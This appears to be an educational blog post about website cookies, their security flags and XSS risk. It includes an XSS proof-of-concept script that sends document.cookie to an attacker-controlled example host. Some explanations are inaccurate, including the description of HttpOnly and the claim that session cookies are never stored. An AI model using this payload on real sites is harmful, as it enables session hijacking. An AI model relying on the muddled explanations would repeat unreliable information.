Demystifying Cookies from a security standpoint

Who doesn’t love a tasty COOKIE/BISCUIT?

The same is true for the “Website Cookies” (special text files), which are used for authentication, season management, personalization & tracking.

Since HTTP happens to be a STATELESS protocol, websites need to track requests by some method. For this purpose, Lou Montulli created the concept of “COOKIES”. Nowadays all websites use them for one purpose or another.

Now let’s dive into this concept a bit more,

Generally speaking, we have two types of cookies as follows:-
1. Session cookie: Session cookies are cookies that last for a session. A session starts when you launch a website or web app and ends when you leave the website or close your browser window. They contain information that is stored in a temporary memory location which is deleted after the session ends. Unlike other cookies, session cookies are never stored on your device. Therefore, they are also known as transient cookies, non-persistent cookies, or temporary cookies.

2. Permanent cookie: Permanent cookies are set with an expiration date and stored on a user s hard drive until they expire or until the user deletes the cookie. They are used to collect identifying information about the user, such as Web surfing behavior or user preferences for a specific Web site. They are also known as permanent cookies or stored cookies.

Cookies are allocated & shared through HTTP Headers “Set-Cookie” & “Cookie”, respectively. These cookies can be either HTTP-only or SECURE, depending on the security implantation. A HTTP-only cookie travels over HTTP protocol & prevents JavaScript from reading stored cookies whereas a SECURE cookie is only sent to the server with an encrypted request over the HTTPS protocol & mitigates Man in The Middle (MiTM) attacks.

To further enhance these controls, “ Host-only” flag and “Path” attribute can be added to lockdown the cookie to a particular HOSTNAME and PATH.

To take it one notch further “SameSite” flag could be used to prevent Cross-Site Request Forgery (CSRF). SameSite can take one of three possible values i.e, Strict, Lax or None

These cookies reside in a special storage known as a “cookie jar” inside the browser. You can view your cookies either through browser developer settings/addons or by invoking “document.cookie” API.

Now you might ask how all this relates to a security standpoint, well since these cookies contain juicy details they can provide easy access to a website and thus to a network as well. Didn’t get it, no issues just imagine an “authenticated Administrator” losing their cookies.

This is also why most XSS attacks tend to extract cookies from the victim’s browser.

One Proof of concept to show this attack will be:-

<script>
var x = image();
x.src=”example.com/xss.php?q=”+document.cookie;
</script>

Where you can simply create an image object and point it to an attacker-controlled website. Then it will log the cookie there which can be further used in chained attacks.

Now to mitigate these issues web devs could:-
1. Implement secure session cookies which expire as soon as the session terminates.
2. Install security plugins and follow secure design principles.

On the other hand, users can:-
1. Install add-ons like NoScript to prevent XSS.
2. Avoid clicking on links & cleaning the cookie jar as often as possible.

To learn more about cookies, do visit these great documentations:-

1. W3C : https://www.w3.org/2001/tag/2010/09/ClientSideStorage.html

2. Mozilla : https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies